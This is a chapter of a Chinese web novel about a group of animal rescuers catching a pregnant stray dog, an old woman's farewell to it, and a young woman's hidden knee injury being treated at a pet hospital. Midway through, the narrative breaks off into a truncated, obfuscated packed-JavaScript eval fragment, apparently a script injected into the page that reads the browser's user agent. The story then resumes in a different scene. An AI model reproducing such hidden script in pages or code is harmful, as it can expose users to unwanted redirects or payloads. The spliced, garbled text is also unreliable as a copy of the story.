徐安之前联系的房东突然说房子已经租出去了,今天约了其他房东继续看房。知道李朝穗要去抓捕流浪狗,立马把事情推掉,跟了过来。 “来啦来啦,五分钟后出发!” 车子停在城东一个老街道附近,珊姐和娟姨先去找熟人确认狗狗的位置,李朝穗把后备箱的装备拿出来,一旁的徐安兴奋得一直说个不停。 “学姐,你放心,我肯定会完完整整拍下你们的‘英姿’!” “好好好,你待会拿着设备跟紧我。” 街道看起来有些历史了,两旁楼栋低矮,外墙涂料剥落了一大片,电线是乱拉的,密密麻麻的像张大网。巨大的老树下,聚着下象棋的大爷、聊闲天的阿姨,为这老街添了几分生气。 小狗平日里都在垃圾站附近转悠,珊姐和娟姨熟悉地形,走在最前面带路。 离目的地还有些距离的时候,她们就看到狗了,身上脏兮兮的,肚子鼓得老大,好像下一秒就要炸开似的。 看到人路过,倒是不怎么害怕,应该不会太难办。 半小时后,这只怀孕的母犬顺利进了铁笼子,事情进入收尾环节。 垃圾站的地面湿滑,散落着烂菜叶和碎玻璃。 徐安后退时踩到一块翘起的地砖,脚下一滑,整个人往前栽了一下。她伸手撑地,膝盖磕在水泥台阶的棱角上,记录仪晃了晃,但她两只手死死抓住,愣是一点没碰到地面。 李朝穗连忙扶起她,“没事吧?” “没事。”徐安咬着嘴唇站起来,不自然地笑着,拍了拍裤腿。右腿膝盖传来刺痛感,她有种不好的预感。 几人走到街口时,后面传来一道苍老的声音:“姑娘姑娘……你们是要带它哪啊?” 一个满头白发、拄着拐杖的老奶奶,步履蹒跚地追着她们,似是担心她们没听清,又把话说了一遍:“你们要带那条有宝宝的狗去哪啊?” 珊姐率先反应过来,上前搀扶她,笑着解释道:“我们时做流浪动物救助的,这狗怀孕快生了,在外面不安全,我们把它带回去,给它找个好人家领养了。” “哦、哦,这样啊。”老奶奶认真听着,目光还时不时在她们身上打量,了解之后频频点头,“好心人啊,救了它,不用过这苦日子了……” 小狗好像是认识奶奶一样,在她靠近之后就异常激动,爪子不停地巴拉着笼子,嘤嘤嘤叫个不停。 “我能再摸摸它吗?” 奶奶的目光恳切,李朝穗把手上的笼子放下,打开锁扣。小狗立马窜了出来,摇着尾巴在奶奶的身边打转。 短暂的几分钟里,奶奶像交代出远门的孩子一样,跟它说了很多话。小狗还依依不舍地贴着她,她却主动说要走了,紧接着转身离开,朝远处走去。 小狗着急地想跟上去,珊姐拦住了它,小狗挣扎不停,紧接着发出一声声清脆的吠叫。 奶奶的步子一步比一步快,最后消失在转角。 回去路上,娟姨和珊姐照常聊天,原本活泼的徐安变得安静起来,李朝穗没太在意,只当她是看到奶奶和小狗的互动。 不知道是从哪飘来一股烤鸭香,惹得李朝穗肚子里的馋虫一直叫。 “哈哈哈哈,你们两个小姑娘忙活一整天了,饿了吧。” 娟姨朝窗外瞄去,“肯定饿呀!我这个老阿姨也饿的不行了,哪家烤鸭店啊,做的这么香。” “是挺香的,我家那口子之前好像就跟我说过,城东街口有一家烤鸭做得特别好吃。” “叫什么……‘邻里香’,对对对,就是叫‘邻里香’烧鸭。” 几十分钟的车程,聊着聊着就到了爱德宠物医院。 珊姐和娟姨到门口就走了,她们家里医院都不远。李朝穗拎着笼子往里走,前台告诉她许琮收到消息已经在诊室等她。 “我一个人进去就行,你先坐着休息一下,顺便整理素材。” 跟在身后的徐安听到这,停下了脚步,“没问题学姐,我在这等你。”她的右腿始终不敢用力,沙发离她还有好一段距离,她只好单脚蹦跳着过去。 “哟呵,怎么cos上兔子了啊。” 关雨景不知道什么时候突然冒了出来。 “哪有。”徐安加快了脚步,想从他身边走过去。关雨景没让,侧身挡了一下,目光落在她抬着的右腿上。 “膝盖磕了?” “没有。”徐安绕过他,正要落座时身子骤然失衡,整个人往侧边歪去,眼看着就要栽倒。 身旁的关雨景眼疾手快,伸手稳稳攥住她的小臂,顺势小心扶着她慢慢坐进沙发里。 “你这怎么回事啊?” 徐安把裤腿一点点拉起来,露出膝盖的伤口,破了一大块皮,鲜红的血迹把内层的秋裤都给染红了,看起来有些渗人。 “没事没事,摔了一下。” “破了这么个大口子还说没有。”关雨景眉头紧皱,语气还是那副吊儿郎当的样子,“等着吧,我拿医药箱帮你处理一下。” “不用麻烦——” “小爷我心地善良,做事不求回报。”关雨景根本不听她的话,迅速回办公室拿来了医药箱。蹲在她面前,熟练地处理伤口,“你啊,就心安理得的受着吧。” 徐安双手向后,撑在沙发上,看着之前臭屁的关雨景此刻换了副样子,有些感动,“谢谢啊——啊!啊啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对啊,她自己就是干这个的,她创建“安心庇护”账号的时候怎么就没想到呢,光想着给动物们找领养了。 许琮看她迟迟不说话,误以为她心生压力,轻声安慰:“这件事的难度太大了,你本来就没有义务做这些,现在停下——” “谢谢许医生!我知道该怎么办了!”李朝穗猛地抬起头,眼睛清亮,脸上的笑容灿烂。 许琮微微一怔,笑着回复:“不用谢。” 出了诊室,李朝穗心情舒朗了不少,叫上坐着的徐安准备回家去。 关雨景给徐安处理完伤口之后一直没离开,他看到李朝穗出来,想告诉她徐安腿受伤的事情,“朝穗接,徐安她——” “怎么了?”李朝穗这会儿着急回去,已然走到门外了。 徐安拉着关雨景的手臂站起来,一把捂住他的嘴,“没事没事,我这就来。”看李朝穗先走了之后,她转头跟关雨景解释:“你别告诉学姐我受伤,她这两天因为基地的事,一直忧心忡忡的,我不想给她添麻烦。” “好好好,我不说行了吧,你回去记得上药,不然腿瘸了以后就真的只能蹦着走了。” 回到家,吃过饭后,李朝穗就把自己关在房间,埋头分析网上目前比较大的几个救助账号,徐安则在楼下电脑桌剪辑今天的素材。 两人就这么忙到深夜。 睡前,李朝穗忍不住打开周正桓的那条好友申请,备注写着:“我是周正桓。” 她呆呆地看了许久,总是忍不住想起两人一起相处的画面,手一滑,点了同意。